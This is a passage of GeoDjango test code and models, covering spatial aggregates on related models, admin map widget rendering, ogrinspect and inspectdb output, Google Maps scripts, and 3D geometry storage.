            check_pnt(GEOSGeometry(wkt, srid), qs[0].location.point)

        # Relations more than one level deep can be queried.
        self.assertEqual(list(Parcel.objects.transform(srid, field_name='city__location__point')), [])

    @skipUnlessDBFeature("supports_extent_aggr")
    def test_related_extent_aggregate(self):
        "Testing the `Extent` aggregate on related geographic models."
        # This combines the Extent and Union aggregates into one query
        aggs = City.objects.aggregate(Extent('location__point'))

        # One for all locations, one that excludes New Mexico (Roswell).
        all_extent = (-104.528056, 29.763374, -79.460734, 40.18476)
        txpa_extent = (-97.516111, 29.763374, -79.460734, 40.18476)
        e1 = City.objects.aggregate(Extent('location__point'))['location__point__extent']
        e2 = City.objects.exclude(state='NM').aggregate(Extent('location__point'))['location__point__extent']
        e3 = aggs['location__point__extent']

        # The tolerance value is to four decimal places because of differences
        # between the Oracle and PostGIS spatial backends on the extent calculation.
        tol = 4
        for ref, e in [(all_extent, e1), (txpa_extent, e2), (all_extent, e3)]:
            for ref_val, e_val in zip(ref, e):
                self.assertAlmostEqual(ref_val, e_val, tol)

    @skipUnlessDBFeature("supports_extent_aggr")
    def test_related_extent_annotate(self):
        """
        Test annotation with Extent GeoAggregate.
        """
        cities = City.objects.annotate(points_extent=Extent('location__point')).order_by('name')
        tol = 4
        self.assertAlmostEqual(
            cities[0].points_extent,
            (-97.516111, 33.058333, -97.516111, 33.058333),
            tol
        )

    @skipUnlessDBFeature("has_unionagg_method")
    def test_related_union_aggregate(self):
        "Testing the `Union` aggregate on related geographic models."
        # This combines the Extent and Union aggregates into one query
        aggs = City.objects.aggregate(Union('location__point'))

        # These are the points that are components of the aggregate geographic
        # union that is returned.  Each point # corresponds to City PK.
        p1 = Point(-104.528056, 33.387222)
        p2 = Point(-97.516111, 33.058333)
        p3 = Point(-79.460734, 40.18476)
        p4 = Point(-96.801611, 32.782057)
        p5 = Point(-95.363151, 29.763374)

        # The second union aggregate is for a union
        # query that includes limiting information in the WHERE clause (in other
        # words a `.filter()` precedes the call to `.aggregate(Union()`).
        ref_u1 = MultiPoint(p1, p2, p4, p5, p3, srid=4326)
        ref_u2 = MultiPoint(p2, p3, srid=4326)

        u1 = City.objects.aggregate(Union('location__point'))['location__point__union']
        u2 = City.objects.exclude(
            name__in=('Roswell', 'Houston', 'Dallas', 'Fort Worth'),
        ).aggregate(Union('location__point'))['location__point__union']
        u3 = aggs['location__point__union']
        self.assertEqual(type(u1), MultiPoint)
        self.assertEqual(type(u3), MultiPoint)

        # Ordering of points in the result of the union is not defined and
        # implementation-dependent (DB backend, GEOS version)
        self.assertSetEqual({p.ewkt for p in ref_u1}, {p.ewkt for p in u1})
        self.assertSetEqual({p.ewkt for p in ref_u2}, {p.ewkt for p in u2})
        self.assertSetEqual({p.ewkt for p in ref_u1}, {p.ewkt for p in u3})

    def test05_select_related_fk_to_subclass(self):
        "Testing that calling select_related on a query over a model with an FK to a model subclass works"
        # Regression test for #9752.
        list(DirectoryEntry.objects.all().select_related())

    def test06_f_expressions(self):
        "Testing F() expressions on GeometryFields."
        # Constructing a dummy parcel border and getting the City instance for
        # assigning the FK.
        b1 = GEOSGeometry(
            'POLYGON((-97.501205 33.052520,-97.501205 33.052576,'
            '-97.501150 33.052576,-97.501150 33.052520,-97.501205 33.052520))',
            srid=4326
        )
        pcity = City.objects.get(name='Aurora')

        # First parcel has incorrect center point that is equal to the City;
        # it also has a second border that is different from the first as a
        # 100ft buffer around the City.
        c1 = pcity.location.point
        c2 = c1.transform(2276, clone=True)
        b2 = c2.buffer(100)
        Parcel.objects.create(name='P1', city=pcity, center1=c1, center2=c2, border1=b1, border2=b2)

        # Now creating a second Parcel where the borders are the same, just
        # in different coordinate systems.  The center points are also the
        # same (but in different coordinate systems), and this time they
        # actually correspond to the centroid of the border.
        c1 = b1.centroid
        c2 = c1.transform(2276, clone=True)
        Parcel.objects.create(name='P2', city=pcity, center1=c1, center2=c2, border1=b1, border2=b1)

        # Should return the second Parcel, which has the center within the
        # border.
        qs = Parcel.objects.filter(center1__within=F('border1'))
        self.assertEqual(1, len(qs))
        self.assertEqual('P2', qs[0].name)

        if connection.features.supports_transform:
            # This time center2 is in a different coordinate system and needs
            # to be wrapped in transformation SQL.
            qs = Parcel.objects.filter(center2__within=F('border1'))
            self.assertEqual(1, len(qs))
            self.assertEqual('P2', qs[0].name)

        # Should return the first Parcel, which has the center point equal
        # to the point in the City ForeignKey.
        qs = Parcel.objects.filter(center1=F('city__location__point'))
        self.assertEqual(1, len(qs))
        self.assertEqual('P1', qs[0].name)

        if connection.features.supports_transform:
            # This time the city column should be wrapped in transformation SQL.
            qs = Parcel.objects.filter(border2__contains=F('city__location__point'))
            self.assertEqual(1, len(qs))
            self.assertEqual('P1', qs[0].name)

    def test07_values(self):
        "Testing values() and values_list() and GeoQuerySets."
        gqs = Location.objects.all()
        gvqs = Location.objects.values()
        gvlqs = Location.objects.values_list()

        # Incrementing through each of the models, dictionaries, and tuples
        # returned by the different types of GeoQuerySets.
        for m, d, t in zip(gqs, gvqs, gvlqs):
            # The values should be Geometry objects and not raw strings returned
            # by the spatial database.
            self.assertIsInstance(d['point'], Geometry)
            self.assertIsInstance(t[1], Geometry)
            self.assertEqual(m.point, d['point'])
            self.assertEqual(m.point, t[1])

    @override_settings(USE_TZ=True)
    def test_07b_values(self):
        "Testing values() and values_list() with aware datetime. See #21565."
        Event.objects.create(name="foo", when=timezone.now())
        list(Event.objects.values_list('when'))

    def test08_defer_only(self):
        "Testing defer() and only() on Geographic models."
        qs = Location.objects.all()
        def_qs = Location.objects.defer('point')
        for loc, def_loc in zip(qs, def_qs):
            self.assertEqual(loc.point, def_loc.point)

    def test09_pk_relations(self):
        "Ensuring correct primary key column is selected across relations. See #10757."
        # The expected ID values -- notice the last two location IDs
        # are out of order.  Dallas and Houston have location IDs that differ
        # from their PKs -- this is done to ensure that the related location
        # ID column is selected instead of ID column for the city.
        city_ids = (1, 2, 3, 4, 5)
        loc_ids = (1, 2, 3, 5, 4)
        ids_qs = City.objects.order_by('id').values('id', 'location__id')
        for val_dict, c_id, l_id in zip(ids_qs, city_ids, loc_ids):
            self.assertEqual(val_dict['id'], c_id)
            self.assertEqual(val_dict['location__id'], l_id)

    # TODO: fix on Oracle -- qs2 returns an empty result for an unknown reason
    @no_oracle
    def test10_combine(self):
        "Testing the combination of two GeoQuerySets.  See #10807."
        buf1 = City.objects.get(name='Aurora').location.point.buffer(0.1)
        buf2 = City.objects.get(name='Kecksburg').location.point.buffer(0.1)
        qs1 = City.objects.filter(location__point__within=buf1)
        qs2 = City.objects.filter(location__point__within=buf2)
        combined = qs1 | qs2
        names = [c.name for c in combined]
        self.assertEqual(2, len(names))
        self.assertIn('Aurora', names)
        self.assertIn('Kecksburg', names)

    # TODO: fix on Oracle -- get the following error because the SQL is ordered
    # by a geometry object, which Oracle apparently doesn't like:
    #  ORA-22901: cannot compare nested table or VARRAY or LOB attributes of an object type
    @no_oracle
    def test12a_count(self):
        "Testing `Count` aggregate on geo-fields."
        # The City, 'Fort Worth' uses the same location as Dallas.
        dallas = City.objects.get(name='Dallas')

        # Count annotation should be 2 for the Dallas location now.
        loc = Location.objects.annotate(num_cities=Count('city')).get(id=dallas.location.id)
        self.assertEqual(2, loc.num_cities)

    def test12b_count(self):
        "Testing `Count` aggregate on non geo-fields."
        # Should only be one author (Trevor Paglen) returned by this query, and
        # the annotation should have 3 for the number of books, see #11087.
        # Also testing with a values(), see #11489.
        qs = Author.objects.annotate(num_books=Count('books')).filter(num_books__gt=1)
        vqs = Author.objects.values('name').annotate(num_books=Count('books')).filter(num_books__gt=1)
        self.assertEqual(1, len(qs))
        self.assertEqual(3, qs[0].num_books)
        self.assertEqual(1, len(vqs))
        self.assertEqual(3, vqs[0]['num_books'])

    # TODO: fix on Oracle -- get the following error because the SQL is ordered
    # by a geometry object, which Oracle apparently doesn't like:
    #  ORA-22901: cannot compare nested table or VARRAY or LOB attributes of an object type
    @no_oracle
    def test13c_count(self):
        "Testing `Count` aggregate with `.values()`.  See #15305."
        qs = Location.objects.filter(id=5).annotate(num_cities=Count('city')).values('id', 'point', 'num_cities')
        self.assertEqual(1, len(qs))
        self.assertEqual(2, qs[0]['num_cities'])
        self.assertIsInstance(qs[0]['point'], GEOSGeometry)

    # TODO: The phantom model does appear on Oracle.
    @no_oracle
    def test13_select_related_null_fk(self):
        "Testing `select_related` on a nullable ForeignKey."
        Book.objects.create(title='Without Author')
        b = Book.objects.select_related('author').get(title='Without Author')
        # Should be `None`, and not a 'dummy' model.
        self.assertIsNone(b.author)

    @skipUnlessDBFeature("supports_collect_aggr")
    def test_collect(self):
        """
        Testing the `Collect` aggregate.
        """
        # Reference query:
        # SELECT AsText(ST_Collect("relatedapp_location"."point")) FROM "relatedapp_city" LEFT OUTER JOIN
        #    "relatedapp_location" ON ("relatedapp_city"."location_id" = "relatedapp_location"."id")
        #    WHERE "relatedapp_city"."state" = 'TX';
        ref_geom = GEOSGeometry(
            'MULTIPOINT(-97.516111 33.058333,-96.801611 32.782057,'
            '-95.363151 29.763374,-96.801611 32.782057)'
        )

        coll = City.objects.filter(state='TX').aggregate(Collect('location__point'))['location__point__collect']
        # Even though Dallas and Ft. Worth share same point, Collect doesn't
        # consolidate -- that's why 4 points in MultiPoint.
        self.assertEqual(4, len(coll))
        self.assertTrue(ref_geom.equals(coll))

    def test15_invalid_select_related(self):
        "Testing doing select_related on the related name manager of a unique FK. See #13934."
        qs = Article.objects.select_related('author__article')
        # This triggers TypeError when `get_default_columns` has no `local_only`
        # keyword.  The TypeError is swallowed if QuerySet is actually
        # evaluated as list generation swallows TypeError in CPython.
        str(qs.query)

    def test16_annotated_date_queryset(self):
        "Ensure annotated date querysets work if spatial backend is used.  See #14648."
        birth_years = [dt.year for dt in
                       list(Author.objects.annotate(num_books=Count('books')).dates('dob', 'year'))]
        birth_years.sort()
        self.assertEqual([1950, 1974], birth_years)

    # TODO: Related tests for KML, GML, and distance lookups.






from django.utils.encoding import python_2_unicode_compatible

from ..admin import admin
from ..models import models


@python_2_unicode_compatible
class City(models.Model):
    name = models.CharField(max_length=30)
    point = models.PointField()

    class Meta:
        app_label = 'geoadmin'
        required_db_features = ['gis_enabled']

    def __str__(self):
        return self.name


site = admin.AdminSite(name='admin_gis')
site.register(City, admin.OSMGeoAdmin)






from django.contrib.gis import admin


class UnmodifiableAdmin(admin.OSMGeoAdmin):
    modifiable = False






from django.conf.urls import include, url
from django.contrib import admin

urlpatterns = [
    url(r'^admin/', include(admin.site.urls)),
]












from __future__ import unicode_literals

from django.contrib.gis import admin
from django.contrib.gis.geos import Point
from django.test import TestCase, override_settings, skipUnlessDBFeature
from django.test.utils import patch_logger

from .admin import UnmodifiableAdmin
from .models import City, site


@skipUnlessDBFeature("gis_enabled")
@override_settings(ROOT_URLCONF='django.contrib.gis.tests.geoadmin.urls')
class GeoAdminTest(TestCase):

    def test_ensure_geographic_media(self):
        geoadmin = site._registry[City]
        admin_js = geoadmin.media.render_js()
        self.assertTrue(any(geoadmin.openlayers_url in js for js in admin_js))

    def test_olmap_OSM_rendering(self):
        delete_all_btn = """<a href="javascript:geodjango_point.clearFeatures()">Delete all Features</a>"""

        original_geoadmin = site._registry[City]
        params = original_geoadmin.get_map_widget(City._meta.get_field('point')).params
        result = original_geoadmin.get_map_widget(City._meta.get_field('point'))(
        ).render('point', Point(-79.460734, 40.18476), params)
        self.assertIn(
            """geodjango_point.layers.base = new OpenLayers.Layer.OSM("OpenStreetMap (Mapnik)");""",
            result)

        self.assertIn(delete_all_btn, result)

        site.unregister(City)
        site.register(City, UnmodifiableAdmin)
        try:
            geoadmin = site._registry[City]
            params = geoadmin.get_map_widget(City._meta.get_field('point')).params
            result = geoadmin.get_map_widget(City._meta.get_field('point'))(
            ).render('point', Point(-79.460734, 40.18476), params)

            self.assertNotIn(delete_all_btn, result)
        finally:
            site.unregister(City)
            site.register(City, original_geoadmin.__class__)

    def test_olmap_WMS_rendering(self):
        geoadmin = admin.GeoModelAdmin(City, site)
        result = geoadmin.get_map_widget(City._meta.get_field('point'))(
        ).render('point', Point(-79.460734, 40.18476))
        self.assertIn(
            """geodjango_point.layers.base = new OpenLayers.Layer.WMS("OpenLayers WMS", """
            """"http://vmap0.tiles.osgeo.org/wms/vmap0", {layers: 'basic', format: 'image/jpeg'});""",
            result)

    def test_olwidget_has_changed(self):
        """
        Check that changes are accurately noticed by OpenLayersWidget.
        """
        geoadmin = site._registry[City]
        form = geoadmin.get_changelist_form(None)()
        has_changed = form.fields['point'].has_changed

        initial = Point(13.4197458572965953, 52.5194108501149799, srid=4326)
        data_same = "SRID=3857;POINT(1493879.2754093995 6894592.019687599)"
        data_almost_same = "SRID=3857;POINT(1493879.2754093990 6894592.019687590)"
        data_changed = "SRID=3857;POINT(1493884.0527237 6894593.8111804)"

        self.assertTrue(has_changed(None, data_changed))
        self.assertTrue(has_changed(initial, ""))
        self.assertFalse(has_changed(None, ""))
        self.assertFalse(has_changed(initial, data_same))
        self.assertFalse(has_changed(initial, data_almost_same))
        self.assertTrue(has_changed(initial, data_changed))

    def test_olwidget_empty_string(self):
        geoadmin = site._registry[City]
        form = geoadmin.get_changelist_form(None)({'point': ''})
        with patch_logger('django.contrib.gis', 'error') as logger_calls:
            output = str(form['point'])
        self.assertInHTML(
            '<textarea id="id_point" class="vWKTField required" cols="150"'
            ' rows="10" name="point"></textarea>',
            output
        )
        self.assertEqual(logger_calls, [])

    def test_olwidget_invalid_string(self):
        geoadmin = site._registry[City]
        form = geoadmin.get_changelist_form(None)({'point': 'INVALID()'})
        with patch_logger('django.contrib.gis', 'error') as logger_calls:
            output = str(form['point'])
        self.assertInHTML(
            '<textarea id="id_point" class="vWKTField required" cols="150"'
            ' rows="10" name="point"></textarea>',
            output
        )
        self.assertEqual(len(logger_calls), 1)
        self.assertEqual(
            logger_calls[0],
            "Error creating geometry from value 'INVALID()' (String or unicode input "
            "unrecognized as WKT EWKT, and HEXEWKB.)"
        )






from ..models import models


class AllOGRFields(models.Model):

    f_decimal = models.FloatField()
    f_float = models.FloatField()
    f_int = models.IntegerField()
    f_char = models.CharField(max_length=10)
    f_date = models.DateField()
    f_datetime = models.DateTimeField()
    f_time = models.TimeField()
    geom = models.PolygonField()
    point = models.PointField()

    class Meta:
        required_db_features = ['gis_enabled']


class Fields3D(models.Model):
    point = models.PointField(dim=3)
    pointg = models.PointField(dim=3, geography=True)
    line = models.LineStringField(dim=3)
    poly = models.PolygonField(dim=3)

    class Meta:
        required_db_features = ['gis_enabled']












from __future__ import unicode_literals

import os
import re

from django.contrib.gis.gdal import HAS_GDAL
from django.core.management import call_command
from django.db import connection, connections
from django.test import TestCase, skipUnlessDBFeature
from django.test.utils import modify_settings
from django.utils.six import StringIO

from ..test_data import TEST_DATA
from ..utils import postgis

if HAS_GDAL:
    from django.contrib.gis.gdal import Driver, GDALException, GDAL_VERSION
    from django.contrib.gis.utils.ogrinspect import ogrinspect

    from .models import AllOGRFields


@skipUnlessDBFeature("gis_enabled")
class InspectDbTests(TestCase):
    def test_geom_columns(self):
        """
        Test the geo-enabled inspectdb command.
        """
        out = StringIO()
        call_command(
            'inspectdb',
            table_name_filter=lambda tn: tn == 'inspectapp_allogrfields',
            stdout=out
        )
        output = out.getvalue()
        if connection.features.supports_geometry_field_introspection:
            self.assertIn('geom = models.PolygonField()', output)
            self.assertIn('point = models.PointField()', output)
        else:
            self.assertIn('geom = models.GeometryField(', output)
            self.assertIn('point = models.GeometryField(', output)

    @skipUnlessDBFeature("supports_3d_storage")
    def test_3d_columns(self):
        out = StringIO()
        call_command(
            'inspectdb',
            table_name_filter=lambda tn: tn == 'inspectapp_fields3d',
            stdout=out
        )
        output = out.getvalue()
        if connection.features.supports_geometry_field_introspection:
            self.assertIn('point = models.PointField(dim=3)', output)
            if postgis:
                # Geography type is specific to PostGIS
                self.assertIn('pointg = models.PointField(geography=True, dim=3)', output)
            self.assertIn('line = models.LineStringField(dim=3)', output)
            self.assertIn('poly = models.PolygonField(dim=3)', output)
        else:
            self.assertIn('point = models.GeometryField(', output)
            self.assertIn('pointg = models.GeometryField(', output)
            self.assertIn('line = models.GeometryField(', output)
            self.assertIn('poly = models.GeometryField(', output)


@skipUnlessDBFeature("gis_enabled")
@modify_settings(
    INSTALLED_APPS={'append': 'django.contrib.gis'},
)
class OGRInspectTest(TestCase):
    maxDiff = 1024

    def test_poly(self):
        shp_file = os.path.join(TEST_DATA, 'test_poly', 'test_poly.shp')
        model_def = ogrinspect(shp_file, 'MyModel')

        expected = [
            '# This is an auto-generated Django model module created by ogrinspect.',
            'from django.contrib.gis.db import models',
            '',
            'class MyModel(models.Model):',
            '    float = models.FloatField()',
            '    int = models.{}()'.format('BigIntegerField' if GDAL_VERSION >= (2, 0) else 'FloatField'),
            '    str = models.CharField(max_length=80)',
            '    geom = models.PolygonField(srid=-1)',
        ]

        self.assertEqual(model_def, '\n'.join(expected))

    def test_poly_multi(self):
        shp_file = os.path.join(TEST_DATA, 'test_poly', 'test_poly.shp')
        model_def = ogrinspect(shp_file, 'MyModel', multi_geom=True)
        self.assertIn('geom = models.MultiPolygonField(srid=-1)', model_def)
        # Same test with a 25D-type geometry field
        shp_file = os.path.join(TEST_DATA, 'gas_lines', 'gas_leitung.shp')
        model_def = ogrinspect(shp_file, 'MyModel', multi_geom=True)
        self.assertIn('geom = models.MultiLineStringField(srid=-1)', model_def)

    def test_date_field(self):
        shp_file = os.path.join(TEST_DATA, 'cities', 'cities.shp')
        model_def = ogrinspect(shp_file, 'City')

        expected = [
            '# This is an auto-generated Django model module created by ogrinspect.',
            'from django.contrib.gis.db import models',
            '',
            'class City(models.Model):',
            '    name = models.CharField(max_length=80)',
            '    population = models.{}()'.format('BigIntegerField' if GDAL_VERSION >= (2, 0) else 'FloatField'),
            '    density = models.FloatField()',
            '    created = models.DateField()',
            '    geom = models.PointField(srid=-1)',
        ]

        self.assertEqual(model_def, '\n'.join(expected))

    def test_time_field(self):
        # Getting the database identifier used by OGR, if None returned
        # GDAL does not have the support compiled in.
        ogr_db = get_ogr_db_string()
        if not ogr_db:
            self.skipTest("Unable to setup an OGR connection to your database")

        try:
            # Writing shapefiles via GDAL currently does not support writing OGRTime
            # fields, so we need to actually use a database
            model_def = ogrinspect(ogr_db, 'Measurement',
                                   layer_key=AllOGRFields._meta.db_table,
                                   decimal=['f_decimal'])
        except GDALException:
            self.skipTest("Unable to setup an OGR connection to your database")

        self.assertTrue(model_def.startswith(
            '# This is an auto-generated Django model module created by ogrinspect.\n'
            'from django.contrib.gis.db import models\n'
            '\n'
            'class Measurement(models.Model):\n'
        ))

        # The ordering of model fields might vary depending on several factors (version of GDAL, etc.)
        self.assertIn('    f_decimal = models.DecimalField(max_digits=0, decimal_places=0)', model_def)
        self.assertIn('    f_int = models.IntegerField()', model_def)
        self.assertIn('    f_datetime = models.DateTimeField()', model_def)
        self.assertIn('    f_time = models.TimeField()', model_def)
        self.assertIn('    f_float = models.FloatField()', model_def)
        self.assertIn('    f_char = models.CharField(max_length=10)', model_def)
        self.assertIn('    f_date = models.DateField()', model_def)

        # Some backends may have srid=-1
        self.assertIsNotNone(re.search(r'    geom = models.PolygonField\(([^\)])*\)', model_def))

    def test_management_command(self):
        shp_file = os.path.join(TEST_DATA, 'cities', 'cities.shp')
        out = StringIO()
        call_command('ogrinspect', shp_file, 'City', stdout=out)
        output = out.getvalue()
        self.assertIn('class City(models.Model):', output)


def get_ogr_db_string():
    """
    Construct the DB string that GDAL will use to inspect the database.
    GDAL will create its own connection to the database, so we re-use the
    connection settings from the Django test.
    """
    db = connections.databases['default']

    # Map from the django backend into the OGR driver name and database identifier
    # http://www.gdal.org/ogr/ogr_formats.html
    #
    # TODO: Support Oracle (OCI).
    drivers = {
        'django.contrib.gis.db.backends.postgis': ('PostgreSQL', "PG:dbname='%(db_name)s'", ' '),
        'django.contrib.gis.db.backends.mysql': ('MySQL', 'MYSQL:"%(db_name)s"', ','),
        'django.contrib.gis.db.backends.spatialite': ('SQLite', '%(db_name)s', '')
    }

    db_engine = db['ENGINE']
    if db_engine not in drivers:
        return None

    drv_name, db_str, param_sep = drivers[db_engine]

    # Ensure that GDAL library has driver support for the database.
    try:
        Driver(drv_name)
    except GDALException:
        return None

    # SQLite/SpatiaLite in-memory databases
    if db['NAME'] == ":memory:":
        return None

    # Build the params of the OGR database connection string
    params = [db_str % {'db_name': db['NAME']}]

    def add(key, template):
        value = db.get(key, None)
        # Don't add the parameter if it is not in django's settings
        if value:
            params.append(template % value)
    add('HOST', "host='%s'")
    add('PORT', "port='%s'")
    add('USER', "user='%s'")
    add('PASSWORD', "password='%s'")

    return param_sep.join(params)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from unittest import skipUnless

from django.contrib.gis.geos import HAS_GEOS
from django.test import SimpleTestCase
from django.test.utils import modify_settings, override_settings
from django.utils.encoding import force_text

GOOGLE_MAPS_API_KEY = 'XXXX'


@skipUnless(HAS_GEOS, 'Geos is required.')
@modify_settings(
    INSTALLED_APPS={'append': 'django.contrib.gis'},
)
class GoogleMapsTest(SimpleTestCase):

    @override_settings(GOOGLE_MAPS_API_KEY=GOOGLE_MAPS_API_KEY)
    def test_google_map_scripts(self):
        """
        Testing GoogleMap.scripts() output. See #20773.
        """
        from django.contrib.gis.maps.google.gmap import GoogleMap

        google_map = GoogleMap()
        scripts = google_map.scripts
        self.assertIn(GOOGLE_MAPS_API_KEY, scripts)
        self.assertIn("new GMap2", scripts)

    @override_settings(GOOGLE_MAPS_API_KEY=GOOGLE_MAPS_API_KEY)
    def test_unicode_in_google_maps(self):
        """
        Test that GoogleMap doesn't crash with non-ASCII content.
        """
        from django.contrib.gis.geos import Point
        from django.contrib.gis.maps.google.gmap import GoogleMap, GMarker

        center = Point(6.146805, 46.227574)
        marker = GMarker(center,
                         title='En français !')
        google_map = GoogleMap(center=center, zoom=18, markers=[marker])
        self.assertIn("En français", google_map.scripts)

    def test_gevent_html_safe(self):
        from django.contrib.gis.maps.google.overlays import GEvent
        event = GEvent('click', 'function() {location.href = "http://www.google.com"}')
        self.assertTrue(hasattr(GEvent, '__html__'))
        self.assertEqual(force_text(event), event.__html__())

    def test_goverlay_html_safe(self):
        from django.contrib.gis.maps.google.overlays import GOverlayBase
        overlay = GOverlayBase()
        overlay.js_params = '"foo", "bar"'
        self.assertTrue(hasattr(GOverlayBase, '__html__'))
        self.assertEqual(force_text(overlay), overlay.__html__())






from django.utils.encoding import python_2_unicode_compatible

from ..models import models


@python_2_unicode_compatible
class NamedModel(models.Model):
    name = models.CharField(max_length=30)

    objects = models.GeoManager()

    class Meta:
        abstract = True
        required_db_features = ['gis_enabled']

    def __str__(self):
        return self.name


class City3D(NamedModel):
    point = models.PointField(dim=3)
    pointg = models.PointField(dim=3, geography=True)


class Interstate2D(NamedModel):
    line = models.LineStringField(srid=4269)


class Interstate3D(NamedModel):
    line = models.LineStringField(dim=3, srid=4269)


class InterstateProj2D(NamedModel):
    line = models.LineStringField(srid=32140)


class InterstateProj3D(NamedModel):
    line = models.LineStringField(dim=3, srid=32140)


class Polygon2D(NamedModel):
    poly = models.PolygonField(srid=32140)


class Polygon3D(NamedModel):
    poly = models.PolygonField(dim=3, srid=32140)


class SimpleModel(models.Model):

    class Meta:
        abstract = True
        required_db_features = ['gis_enabled']


class Point2D(SimpleModel):
    point = models.PointField()


class Point3D(SimpleModel):
    point = models.PointField(dim=3)


class MultiPoint3D(SimpleModel):
    mpoint = models.MultiPointField(dim=3)






# Create your views here.












from __future__ import unicode_literals

import os
import re

from django.contrib.gis.db.models import Extent3D, Union
from django.contrib.gis.db.models.functions import (
    AsGeoJSON, AsKML, Length, Perimeter, Scale, Translate,
)
from django.contrib.gis.geos import GEOSGeometry, LineString, Point, Polygon
from django.test import TestCase, ignore_warnings, skipUnlessDBFeature
from django.utils._os import upath
from django.utils.deprecation import RemovedInDjango20Warning

from .models import (
    City3D, Interstate2D, Interstate3D, InterstateProj2D, InterstateProj3D,
    MultiPoint3D, Point2D, Point3D, Polygon2D, Polygon3D,
)

data_path = os.path.realpath(os.path.join(os.path.dirname(upath(__file__)), '..', 'data'))
city_file = os.path.join(data_path, 'cities', 'cities.shp')
vrt_file = os.path.join(data_path, 'test_vrt', 'test_vrt.vrt')

# The coordinates of each city, with Z values corresponding to their
# altitude in meters.
city_data = (
    ('Houston', (-95.363151, 29.763374, 18)),
    ('Dallas', (-96.801611, 32.782057, 147)),
    ('Oklahoma City', (-97.521157, 34.464642, 380)),
    ('Wellington', (174.783117, -41.315268, 14)),
    ('Pueblo', (-104.609252, 38.255001, 1433)),
    ('Lawrence', (-95.235060, 38.971823, 251)),
    ('Chicago', (-87.650175, 41.850385, 181)),
    ('Victoria', (-123.305196, 48.462611, 15)),
)

# Reference mapping of city name to its altitude (Z value).
city_dict = {name: coords for name, coords in city_data}

# 3D freeway data derived from the National Elevation Dataset:
#  http://seamless.usgs.gov/products/9arc.php
interstate_data = (
    ('I-45',
     'LINESTRING(-95.3708481 29.7765870 11.339,-95.3694580 29.7787980 4.536,'
     '-95.3690305 29.7797359 9.762,-95.3691886 29.7812450 12.448,'
     '-95.3696447 29.7850144 10.457,-95.3702511 29.7868518 9.418,'
     '-95.3706724 29.7881286 14.858,-95.3711632 29.7896157 15.386,'
     '-95.3714525 29.7936267 13.168,-95.3717848 29.7955007 15.104,'
     '-95.3717719 29.7969804 16.516,-95.3717305 29.7982117 13.923,'
     '-95.3717254 29.8000778 14.385,-95.3719875 29.8013539 15.160,'
     '-95.3720575 29.8026785 15.544,-95.3721321 29.8040912 14.975,'
     '-95.3722074 29.8050998 15.688,-95.3722779 29.8060430 16.099,'
     '-95.3733818 29.8076750 15.197,-95.3741563 29.8103686 17.268,'
     '-95.3749458 29.8129927 19.857,-95.3763564 29.8144557 15.435)',
     (11.339, 4.536, 9.762, 12.448, 10.457, 9.418, 14.858,
      15.386, 13.168, 15.104, 16.516, 13.923, 14.385, 15.16,
      15.544, 14.975, 15.688, 16.099, 15.197, 17.268, 19.857,
      15.435),
     ),
)

# Bounding box polygon for inner-loop of Houston (in projected coordinate
# system 32140), with elevation values from the National Elevation Dataset
# (see above).
bbox_data = (
    'POLYGON((941527.97 4225693.20,962596.48 4226349.75,963152.57 4209023.95,'
    '942051.75 4208366.38,941527.97 4225693.20))',
    (21.71, 13.21, 9.12, 16.40, 21.71)
)


class Geo3DLoadingHelper(object):
    def _load_interstate_data(self):
        # Interstate (2D / 3D and Geographic/Projected variants)
        for name, line, exp_z in interstate_data:
            line_3d = GEOSGeometry(line, srid=4269)
            line_2d = LineString([l[:2] for l in line_3d.coords], srid=4269)

            # Creating a geographic and projected version of the
            # interstate in both 2D and 3D.
            Interstate3D.objects.create(name=name, line=line_3d)
            InterstateProj3D.objects.create(name=name, line=line_3d)
            Interstate2D.objects.create(name=name, line=line_2d)
            InterstateProj2D.objects.create(name=name, line=line_2d)

    def _load_city_data(self):
        for name, pnt_data in city_data:
            City3D.objects.create(
                name=name, point=Point(*pnt_data, srid=4326), pointg=Point(*pnt_data, srid=4326),
            )

    def _load_polygon_data(self):
        bbox_wkt, bbox_z = bbox_data
        bbox_2d = GEOSGeometry(bbox_wkt, srid=32140)
        bbox_3d = Polygon(tuple((x, y, z) for (x, y), z in zip(bbox_2d[0].coords, bbox_z)), srid=32140)
        Polygon2D.objects.create(name='2D BBox', poly=bbox_2d)
        Polygon3D.objects.create(name='3D BBox', poly=bbox_3d)


@skipUnlessDBFeature("gis_enabled", "supports_3d_storage")
class Geo3DTest(Geo3DLoadingHelper, TestCase):
    """
    Only a subset of the PostGIS routines are 3D-enabled, and this TestCase
    tries to test the features that can handle 3D and that are also
    available within GeoDjango.  For more information, see the PostGIS docs
    on the routines that support 3D:

    http://postgis.net/docs/PostGIS_Special_Functions_Index.html#PostGIS_3D_Functions
    """

    def test_3d_hasz(self):
        """
        Make sure data is 3D and has expected Z values -- shouldn't change
        because of coordinate system.
        """
        self._load_interstate_data()
        for name, line, exp_z in interstate_data:
            interstate = Interstate3D.objects.get(name=name)
            interstate_proj = InterstateProj3D.objects.get(name=name)
            for i in [interstate, interstate_proj]:
                self.assertTrue(i.line.hasz)
                self.assertEqual(exp_z, tuple(i.line.z))

        self._load_city_data()
        for name, pnt_data in city_data:
            city = City3D.objects.get(name=name)
            # Testing both geometry and geography fields
            self.assertTrue(city.point.hasz)
            self.assertTrue(city.pointg.hasz)
            self.assertEqual(city.point.z, pnt_data[2])
            self.assertEqual(city.pointg.z, pnt_data[2])

    def test_3d_polygons(self):
        """
        Test the creation of polygon 3D models.
        """
        self._load_polygon_data()
        p3d = Polygon3D.objects.get(name='3D BBox')
        self.assertTrue(p3d.poly.hasz)
        self.assertIsInstance(p3d.poly, Polygon)
        self.assertEqual(p3d.poly.srid, 32140)

    def test_3d_layermapping(self):
        """
        Testing LayerMapping on 3D models.
        """
        # Import here as GDAL is required for those imports
        from django.contrib.gis.utils import LayerMapping, LayerMapError

        point_mapping = {'point': 'POINT'}
        mpoint_mapping = {'mpoint': 'MULTIPOINT'}

        # The VRT is 3D, but should still be able to map sans the Z.
        lm = LayerMapping(Point2D, vrt_file, point_mapping, transform=False)
        lm.save()
        self.assertEqual(3, Point2D.objects.count())

        # The city shapefile is 2D, and won't be able to fill the coordinates
        # in the 3D model -- thus, a LayerMapError is raised.
        with self.assertRaises(LayerMapError):
            LayerMapping(Point3D, city_file, point_mapping, transform=False)

        # 3D model should take 3D data just fine.
        lm = LayerMapping(Point3D, vrt_file, point_mapping, transform=False)
        lm.save()
        self.assertEqual(3, Point3D.objects.count())

        # Making sure LayerMapping.make_multi works right, by converting
        # a Point25D into a MultiPoint25D.
